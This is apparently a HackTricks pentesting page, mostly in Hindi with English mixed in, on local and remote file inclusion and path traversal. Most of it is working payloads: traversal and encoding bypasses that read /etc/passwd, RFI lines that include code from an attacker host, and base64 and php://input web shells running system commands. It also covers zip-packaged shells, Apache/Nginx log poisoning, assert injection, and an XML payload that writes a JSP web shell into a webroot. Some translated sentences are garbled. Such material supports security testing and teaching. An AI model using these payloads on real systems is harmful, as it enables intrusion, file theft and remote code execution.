File Inclusion/Path traversal

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

File Inclusion

Remote File Inclusion (RFI): फाइल एक रिमोट सर्वर से लोड की जाती है (सबसे अच्छा: आप कोड लिख सकते हैं और सर्वर उसे execute कर देगा). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): सर्वर एक स्थानीय फाइल लोड करता है.

The vulnerability occurs when the user can control in some way the file that is going to be load by the server.

प्रभावित PHP functions: require, require_once, include, include_once

A interesting tool to exploit this vulnerability: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

कई *nix LFI lists को मिलाकर और अधिक paths जोड़कर मैंने यह बनाया है:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

यह भी कोशिश करें / को \
यह भी जोड़ने की कोशिश करें ../../../../../

कई तकनीकों का उपयोग करके /etc/password फाइल खोजने वाली एक सूची (कमज़ोरी मौजूद है या नहीं जाँचने के लिए) here पर मिल सकती है

Windows

विभिन्न wordlists का मेल:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

यह भी कोशिश करें / को \
यह भी कोशिश करें कि C:/ को हटाकर ../../../../../ जोड़ें

कई तकनीकों का उपयोग करके /boot.ini फाइल खोजने वाली एक सूची (कमज़ोरी जांचने के लिए) here पर मिल सकती है

OS X

linux के लिए LFI सूची देखें।

बुनियादी LFI और bypasses

सभी उदाहरण Local File Inclusion के लिए हैं लेकिन Remote File Inclusion पर भी लागू किए जा सकते हैं (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences गैर-रिकर्सिव तरीके से हटाई गईं

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

प्रदान की गई स्ट्रिंग के अंत में और कैरेक्टर्स जोड़ने को Bypass करें (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

यह PHP 5.4 से हल हो चुका है

एन्कोडिंग

आप गैर-मानक एन्कोडिंग्स जैसे double URL encode (और अन्य) का उपयोग कर सकते हैं:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

आधुनिक HTML-to-PDF engines (उदा. TCPDF या html2pdf जैसे wrappers) हमलावर-प्रदान किए गए HTML, SVG, CSS, और font URLs को सहजता से parse करते हैं, फिर भी वे ट्रस्टेड बैकएंड नेटवर्क्स के अंदर चलते हैं जिनके पास filesystem access होता है। एक बार जब आप $pdf->writeHTML()/Html2Pdf::writeHTML() में HTML inject कर सकते हैं, तो आप अक्सर वे लोकल फाइलें exfiltrate कर सकते हैं जिन्हें web server account पढ़ सकता है।

  • Fingerprint the renderer: हर जनरेट किया गया PDF एक Producer फील्ड रखता है (उदा. TCPDF 6.8.2). सटीक build जानने से यह पता चलता है कि कौन से path filters मौजूद हैं और क्या URL decoding validation से पहले होता है।
  • Inline SVG payloads: TCPDF::startSVGElementHandler() <image> एलिमेंट्स के xlink:href attribute को urldecode() चलाने से पहले पढ़ता है। किसी malicious SVG को data URI में embed करने से कई HTML sanitizers payload को ignore कर देते हैं जबकि TCPDF इसे फिर भी parse करता है:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF prepends $_SERVER['DOCUMENT_ROOT'] to paths beginning with / and only later resolves .., so use either leading ../../.. segments or /../../.. to escape the root after the prepend.

  • नासमझ फ़िल्टर को बायपास करने के लिए एन्कोडिंग: Versions ≤6.8.2 केवल URL decode करने से पहले literal substring ../ की जाँच करते हैं। SVG में या raw <img src> attribute में ..%2f (या ..%2F) भेजना चेक को bypass कर देता है, क्योंकि traversal dot-dot-slash sequence केवल TCPDF के urldecode() कॉल के बाद ही पुनः बनता है।
  • मल्टी‑स्टेज डिकोडिंग के लिए डबल‑एन्कोडिंग: अगर user input पहले web framework द्वारा और फिर TCPDF द्वारा decode होता है, तो slash को double-encode करें (%252f)। एक बार decode होने पर यह %2f बनता है, TCPDF में दूसरी decode के बाद यह / बन जाता है, जिससे /..%252f../../../../… मिलता है बिना early filter को कभी ../ दिखाए।
  • HTML <img> handler: TCPDF::openHTMLTagHandler() में वही order-of-operations bug है, जो सीधे HTML payloads को अनुमति देता है, जैसे src="%2f..%252f..%252ftmp%252fsecret.png", जिससे कोई भी locally reachable bitmap पढ़ा जा सकता है।

This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.

From existent folder

शायद बैक-एंड फ़ोल्डर path की जाँच कर रहा है:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

सर्वर पर फ़ाइल सिस्टम निर्देशिकाओं का अन्वेषण

किसी सर्वर के फ़ाइल सिस्टम को कुछ तकनीकों का उपयोग करके केवल फ़ाइलों ही नहीं बल्कि निर्देशिकाओं की पहचान के लिए पुनरावर्ती रूप से एक्सप्लोर किया जा सकता है। यह प्रक्रिया निर्देशिका की गहराई निर्धारित करने और विशिष्ट फ़ोल्डरों की मौजूदगी की जांच करने में शामिल है। नीचे इसे प्राप्त करने की एक विस्तृत विधि दी गई है:

  1. Determine Directory Depth: अपने वर्तमान निर्देशिका की गहराई का पता लगाएँ /etc/passwd फ़ाइल को सफलतापूर्वक प्राप्त करके (यदि सर्वर Linux-आधारित है तो लागू)। एक उदाहरण URL निम्नानुसार संरचित हो सकता है, जो गहराई तीन दर्शाता है:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: संदेहित फ़ोल्डर का नाम (उदा., private) URL में जोड़ें, फिर /etc/passwd पर वापस नेविगेट करें। अतिरिक्त डायरेक्टरी स्तर के कारण depth को एक से बढ़ाना होगा:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. निष्कर्ष निकालें: सर्वर की प्रतिक्रिया यह बताती है कि फ़ोल्डर मौजूद है या नहीं:
  • Error / No Output: निर्दिष्ट स्थान पर private फ़ोल्डर संभवतः मौजूद नहीं है।
  • Contents of /etc/passwd: यह पुष्टि करता है कि private फ़ोल्डर मौजूद है।
  1. पुनरावर्ती अन्वेषण: खोजे गए फ़ोल्डर्स को उसी तकनीक या पारंपरिक Local File Inclusion (LFI) तरीकों का उपयोग करके उप-डायरेक्टरी या फ़ाइलों के लिए आगे परखा जा सकता है।

फाइल सिस्टम के अलग-अलग स्थानों पर डायरेक्टरीज़ को एक्सप्लोर करने के लिए payload को उसी के अनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि /var/www/ में private डायरेक्टरी है या नहीं (मान लीजिए वर्तमान डायरेक्टरी गहराई 3 पर है), उपयोग करें:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation एक विधि है जो वेब एप्लिकेशन में file paths को manipulate करने के लिए इस्तेमाल होती है। इसे अक्सर restricted files तक पहुँचने के लिए उपयोग किया जाता है, खासकर उन security measures को bypass करने के लिए जो file paths के अंत में अतिरिक्त characters जोड़ते हैं। लक्ष्य ऐसा file path बनाना है जो security measure द्वारा बदलने पर भी इच्छित फ़ाइल की ओर इशारा करे।

PHP में, फ़ाइल सिस्टम की प्रकृति के कारण किसी फ़ाइल पथ के विभिन्न प्रतिनिधित्व बराबर माने जा सकते हैं। उदाहरण के लिए:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ को सभी एक ही path माना जाता है।
  • जब आख़िरी 6 अक्षर passwd होते हैं, तो एक / जोड़ने से (जिससे यह passwd/ बन जाता है) लक्षित फ़ाइल नहीं बदलती।
  • इसी तरह, यदि किसी फ़ाइल पथ के अंत में .php जुड़ा हो (जैसे shellcode.php), तो अंत में /. जोड़ने से एक्सेस की जा रही फ़ाइल नहीं बदलती।

दिए गए उदाहरण दिखाते हैं कि कैसे path truncation का उपयोग करके /etc/passwd तक पहुँच हासिल की जा सकती है, जो इसकी संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण आम लक्ष्य होती है:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

इन परिदृश्यों में आवश्यक traversals की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की configuration के आधार पर बदल सकती है।

  • Using Dot Segments and Additional Characters: Traversal sequences (../) को अतिरिक्त dot segments और characters के साथ मिलाकर file system में navigate करने के लिए इस्तेमाल किया जा सकता है, जिससे server द्वारा appended strings अनदेखा की जा सकती हैं।
  • Determining the Required Number of Traversals: Trial and error के माध्यम से, कोई सही संख्या पता कर सकता है कि root directory तक और फिर /etc/passwd तक पहुँचने के लिए कितने ../ sequences की आवश्यकता है, यह सुनिश्चित करते हुए कि किसी भी appended strings (जैसे .php) को neutralize कर दिया गया है पर इच्छित path (/etc/passwd) अक्षुण्ण रहे।
  • Starting with a Fake Directory: आमतौर पर path की शुरुआत एक गैर-मौजूद directory (जैसे a/) से की जाती है। यह technique सावधानी के तौर पर या server की path parsing logic की आवश्यकताओं को पूरा करने के लिए प्रयुक्त होती है।

जब path truncation techniques का उपयोग किया जाता है, तो server के path parsing व्यवहार और filesystem की संरचना को समझना बेहद महत्वपूर्ण होता है। हर परिदृश्य के लिए अलग approach की आवश्यकता हो सकती है, और सबसे प्रभावी तरीका खोजने के लिए अक्सर testing जरूरी होती है।

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php में यह डिफ़ॉल्ट रूप से अक्षम होता है क्योंकि allow_url_include Off. इसे काम करने के लिए On होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल को include करके RCE प्राप्त कर सकते हैं:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

यदि किसी कारणवश allow_url_include On है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को filtering कर रहा है, according to this post, आप उदाहरण के लिए data protocol के साथ base64 का उपयोग करके b64 PHP कोड को डिकोड कर RCE प्राप्त कर सकते हैं:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

पिछले कोड में, अंतिम +.txt इसलिए जोड़ा गया था क्योंकि attacker को एक ऐसा string चाहिए था जो .txt में समाप्त होता हो, इसलिए string इसके साथ खत्म होती है और b64 decode के बाद वह हिस्सा सिर्फ junk लौटाएगा और असली PHP code include (और इसलिए, executed) किया जाएगा।

एक और उदाहरण php:// प्रोटोकॉल का उपयोग न करने वाला होगा:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python रूट एलिमेंट

python में, इस तरह के code में:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

यदि उपयोगकर्ता absolute path को file_name के रूप में पास करता है, तो previous path सिर्फ हटा दिया जाता है:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

यह the docs के अनुसार इच्छित व्यवहार है:

यदि कोई component एक absolute path है, तो सभी पिछले component हटा दिए जाते हैं और joining absolute path component से जारी रहती है।

Java निर्देशिका सूची

ऐसा लगता है कि यदि आपके पास Java में Path Traversal है और आप फ़ाइल की बजाय ask for a directory करते हैं, तो एक listing of the directory is returned। यह अन्य भाषाओं में नहीं होगा (जितना मुझे पता है)।

Top 25 parameters

यहाँ शीर्ष 25 पैरामीटरों की सूची है जो local file inclusion (LFI) के प्रति vulnerable हो सकते हैं (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI — PHP wrappers और प्रोटोकॉल का उपयोग

php://filter

PHP फ़िल्टर डेटा को पढ़े या लिखा जाने से पहले बुनियादी डेटा पर संशोधन संचालन करने की अनुमति देते हैं। फ़िल्टर की 5 श्रेणियाँ हैं:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: डेटा से टैग हटाता है (“<” और “>” कैरेक्टर्स के बीच की सब कुछ)
  • नोट: यह फ़िल्टर आधुनिक PHP संस्करणों से गायब हो चुका है
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : एक अलग एन्कोडिंग में ट्रांसफॉर्म करता है (convert.iconv.<input_enc>.<output_enc>)। सभी सपोर्टेड एन्कोडिंग्स की सूची पाने के लिए कंसोल में चलाएँ: iconv -l

Warning

convert.iconv.* conversion filter का दुरुपयोग करके आप मनमाना टेक्स्ट उत्पन्न कर सकते हैं, जो arbitrary text लिखने या include जैसी फ़ंक्शन को मनमाना टेक्स्ट प्रोसेस करवाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: कंटेंट को compress करता है (useful if exfiltrating a lot of info)
  • zlib.inflate: डेटा को decompress करता है
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • अन्य फ़िल्टर
  • php में var_dump(stream_get_filters()); चलाने पर आप कुछ अनपेक्षित फ़िल्टर पा सकते हैं:
  • consumed
  • dechunk: HTTP chunked encoding को उलटता है
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

हिस्सा “php://filter” बड़े/छोटे अक्षरों के प्रति असंवेदनशील है

Using php filters as oracle to read arbitrary files

In this post एक तकनीक प्रस्तावित की गई है जो server से आउटपुट वापस न मिलने पर भी एक local file पढ़ने की अनुमति देती है। यह तकनीक boolean exfiltration of the file (char by char) using php filters को oracle के रूप में उपयोग करने पर आधारित है। इसका कारण यह है कि php filters का उपयोग किसी टेक्स्ट को इतना बड़ा करने के लिए किया जा सकता है कि php exception फेंक दे।

ओरिजिनल पोस्ट में इस तकनीक का विस्तृत विवरण मिलता है, पर यहाँ एक संक्षिप्त सारांश दिया गया है:

  • Use the codec UCS-4LE ताकि टेक्स्ट का अग्रिम कैरेक्टर शुरुआत में बने रहे और string का आकार घातीय रूप से बढ़े।
  • यह तब उपयोग होगा ताकि एक text so big when the initial letter is guessed correctly बनाया जा सके कि php एक error ट्रिगर कर दे।
  • dechunk filter सभी कुछ हटा देगा अगर पहला char hexadecimal नहीं है, इसलिए हम जान सकते हैं कि पहला char hex है या नहीं।
  • यह, पिछले वाले के साथ मिलकर (और अन्य filters जो अनुमानित letter पर निर्भर करते हैं), हमें टेक्स्ट की शुरुआत के एक letter का अनुमान लगाने देगा यह देखकर कि कब हम इतनी transformations कर देते हैं कि वह hexadecimal character न रहे। क्योंकि अगर hex है तो dechunk उसे नहीं हटाएगा और initial bomb php error पैदा कर देगा।
  • The codec convert.iconv.UNICODE.CP930 हर letter को अगले letter में बदल देता है (तो इस codec के बाद: a -> b)। इससे हमें पता चल सकेगा कि पहला letter उदाहरण के लिए a है या नहीं क्योंकि अगर हम इस codec को 6 बार लागू करें तो a->b->c->d->e->f->g हो जाएगा और वह letter अब hexadecimal character नहीं रहेगा, इसलिए dechunk उसे हटाएगा नहीं और php error ट्रिगर हो जाएगी क्योंकि यह initial bomb के साथ multiply करता है।
  • शुरुआत में rot13 जैसी अन्य transformations का उपयोग करके n, o, p, q, r जैसे अन्य chars को leak करना संभव है (और अन्य codecs का उपयोग करके अन्य अक्षरों को hex range में लाया जा सकता है)।
  • जब प्रारंभिक char एक number हो तो उसे base64 encode करना आवश्यक होता है और number को leak करने के लिए पहले 2 letters leak करने पड़ते हैं।
  • अंतिम समस्या यह देखनी होती है how to leak more than the initial letter. order memory filters जैसे convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE का उपयोग करके chars के order को बदलना और टेक्स्ट के अन्य letters को पहले स्थान पर लाना संभव है।
  • And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.

पोस्ट में इसे स्वचालित रूप से करने के लिए एक tool भी leaked किया गया: php_filters_chain_oracle_exploit.

php://fd

यह wrapper उन file descriptors तक पहुँचने की अनुमति देता है जो process ने open किए होते हैं। Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

आप php://stdin, php://stdout and php://stderr का उपयोग करके क्रमशः file descriptors 0, 1 and 2 तक पहुँच सकते हैं (पक्का नहीं कि यह attack में कैसे उपयोगी हो सकता है)

zip:// and rar://

एक Zip या Rar फ़ाइल जिसमें PHPShell हो, अपलोड करें और उसे एक्सेस करें.
rar protocol का दुरुपयोग करने में सक्षम होने के लिए इसे विशेष रूप से सक्रिय किया जाना चाहिए

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन allow_url_open और allow_url_include द्वारा प्रतिबंधित है

expect://

Expect को सक्रिय होना चाहिए। आप इसका उपयोग करके कोड चला सकते हैं:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

अपना payload POST parameters में निर्दिष्ट करें:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

एक .phar फ़ाइल का उपयोग PHP कोड को निष्पादित करने के लिए किया जा सकता है जब कोई वेब एप्लिकेशन फ़ाइल लोड करने के लिए include जैसे फ़ंक्शनों का उपयोग करता है। नीचे दिया गया PHP कोड स्निपेट एक .phar फ़ाइल बनाने का उदाहरण दर्शाता है:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar फ़ाइल को कम्पाइल करने के लिए, निम्नलिखित कमांड को चलाया जाना चाहिए:

php --define phar.readonly=0 create_path.php

एक बार चलाने पर, test.phar नाम की एक फ़ाइल बन जाएगी, जिसे संभावित रूप से Local File Inclusion (LFI) कमजोरियों के शोषण के लिए उपयोग किया जा सकता है।

ऐसी स्थितियों में जहाँ LFI केवल फ़ाइल पढ़ता है और अंदर के PHP कोड को execute नहीं करता — जैसे कि file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), या filesize() जैसी functions के माध्यम से — तो phar प्रोटोकॉल का उपयोग करके फ़ाइल पढ़ने से संबंधित deserialization vulnerability का शोषण करने का प्रयास किया जा सकता है।

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

यह संभव था कि any arbitrary file read from PHP that supports php filters का दुरुपयोग कर के RCE हासिल किया जा सके। The detailed description can be found in this post.
बहुत संक्षेप में: a 3 byte overflow को PHP heap में दुरुपयोग किया गया ताकि anspecific size के free chunks की chain को alter the chain of free chunks किया जा सके और किसी भी address में write anything in any address करने में सक्षम होना, इसलिए एक hook जोड़कर system को call किया गया।
और यह संभव था कि और php filters का दुरुपयोग करके specific sizes के chunks allocate किए जा सकें।

और प्रोटोकॉल

अधिक संभावित protocols to include here देखें:

  • php://memory and php://temp — मेमोरी में या एक अस्थायी फ़ाइल में लिखना (यह file inclusion attack में कितना उपयोगी हो सकता है, सुनिश्चित नहीं)
  • file:// — स्थानीय फ़ाइल सिस्टम तक पहुंच
  • http:// — HTTP(s) URLs तक पहुंच
  • ftp:// — FTP(s) URLs तक पहुंच
  • zlib:// — Compression Streams
  • glob:// — pattern से मेल खाते pathnames खोजें (यह कोई प्रिंट करने योग्य डेटा वापस नहीं करता, इसलिए यहाँ ज्यादा उपयोगी नहीं है)
  • ssh2:// — Secure Shell 2
  • ogg:// — ऑडियो स्ट्रीम्स (मनमाने फ़ाइलें पढ़ने के लिए उपयोगी नहीं)

LFI via PHP’s ‘assert’

PHP में Local File Inclusion (LFI) का जोखिम ‘assert’ function के साथ विशेष रूप से अधिक होता है, क्योंकि यह strings के अंदर code को execute कर सकता है। यह विशेष रूप से समस्या पैदा करता है अगर ऐसा input जिसमें directory traversal characters जैसे “..” मौजूद हैं, चेक तो किया जा रहा हो पर सही तरीके से sanitize नहीं किया गया हो।

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

यद्यपि यह traversal को रोकने का प्रयास है, यह अनजाने में code injection के लिए एक वेक्टर बनाता है। फ़ाइल की सामग्री पढ़ने के लिए इसे exploit करने हेतु, एक हमलावर उपयोग कर सकता है:

' and die(highlight_file('/etc/passwd')) or '

इसी तरह, arbitrary system commands को निष्पादित करने के लिए, कोई निम्नलिखित का उपयोग कर सकता है:

' and die(system("id")) or '

यह महत्वपूर्ण है कि आप URL-encode these payloads

PHP Blind Path Traversal

Warning

यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप PHP function के file path को नियंत्रित करते हैं जो किसी file को access करेगा पर आप फ़ाइल की सामग्री नहीं देख पाएंगे (जैसे सरल कॉल file()), और सामग्री प्रदर्शित नहीं होती।

In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

सारांश में, यह तकनीक “UCS-4LE” encoding का उपयोग करती है ताकि फ़ाइल की सामग्री इतनी बड़ी हो जाए कि फ़ाइल खोलने वाला PHP function एक error ट्रिगर कर दे।

फिर, पहले char को leak करने के लिए filter dechunk का उपयोग किया जाता है साथ ही अन्य filters जैसे base64 या rot13, और अंत में filters convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग अन्य chars को शुरुआत में place करके उन्हें leak करने के लिए किया जाता है।

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

जब server-side code जो files ingest/upload करता है destination path को user-controlled data (उदा., filename या URL) का उपयोग करके बनाता है बिना canonicalising और validating किए, तो .. segments और absolute paths intended directory से निकल कर arbitrary file write कर सकते हैं। यदि आप payload को किसी web-exposed directory में रख सकते हैं, तो आम तौर पर आप बिना authentication के RCE प्राप्त कर लेते हैं by dropping a webshell।

Typical exploitation workflow:

  • ऐसे endpoint या background worker में किसी write primitive की पहचान करें जो path/filename स्वीकार करता है और disk पर content लिखता है (उदा., message-driven ingestion, XML/JSON command handlers, ZIP extractors, आदि)।
  • web-exposed directories निर्धारित करें। सामान्य उदाहरण:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • एक traversal path तैयार करें जो intended storage directory से बाहर निकलकर webroot में आए, और अपना webshell content शामिल करें।
  • dropped payload पर ब्राउज़ करके commands चलाएँ।

नोट्स:

  • लिखाई करने वाली vulnerable सेवा संभवतः non-HTTP port पर सुन सकती है (उदा., TCP 4004 पर JMF XML listener)। मुख्य वेब पोर्टल (अलग पोर्ट) बाद में आपका payload serve करेगा।
  • Java stacks पर, ये file writes अक्सर simple File/Paths concatenation से लागू होते हैं। canonicalisation/allow-listing का अभाव मुख्य दोष है।

Generic XML/JMF-style उदाहरण (product schemas अलग-अलग हो सकते हैं – DOCTYPE/body wrapper traversal के लिए अप्रासंगिक है):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

इस क्लास की bugs को हराने वाली हार्डनिंग:

  • पथ को canonical path में resolve करें और enforce करें कि वह allow-listed base directory का descendant हो।
  • किसी भी पथ को reject करें जिसमें .., absolute roots, या drive letters हों; generated filenames को प्राथमिकता दें।
  • writer को low-privileged account के रूप में चलाएँ और write directories को served roots से अलग रखें।

Remote File Inclusion

पहले समझाया गया, follow this link.

Via Apache/Nginx log file

यदि Apache या Nginx सर्वर include फ़ंक्शन के अंदर LFI के लिए vulnerable है तो आप कोशिश कर सकते हैं कि /var/log/apache2/access.log या /var/log/nginx/access.log तक पहुँचें, user agent या एक GET parameter में एक php shell जैसे <?php system($_GET['c']); ?> सेट करें और उस फ़ाइल को include करें

Warning

Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string “quote;”, PHP will throw an error there and nothing else will be executed.

Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won’t have a second opportunity.

यह अन्य logs में भी किया जा सकता है पर सावधान रहें, लॉग्स के अंदर का कोड URL encoded हो सकता है और यह Shell को नष्ट कर सकता है। हेडर authorisation “basic” में “user:password” Base64 में होता है और यह लॉग्स के अंदर decoded होता है। PHPShell को इस हेडर के अंदर insert किया जा सकता है.
अन्य संभावित लॉग पथ:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

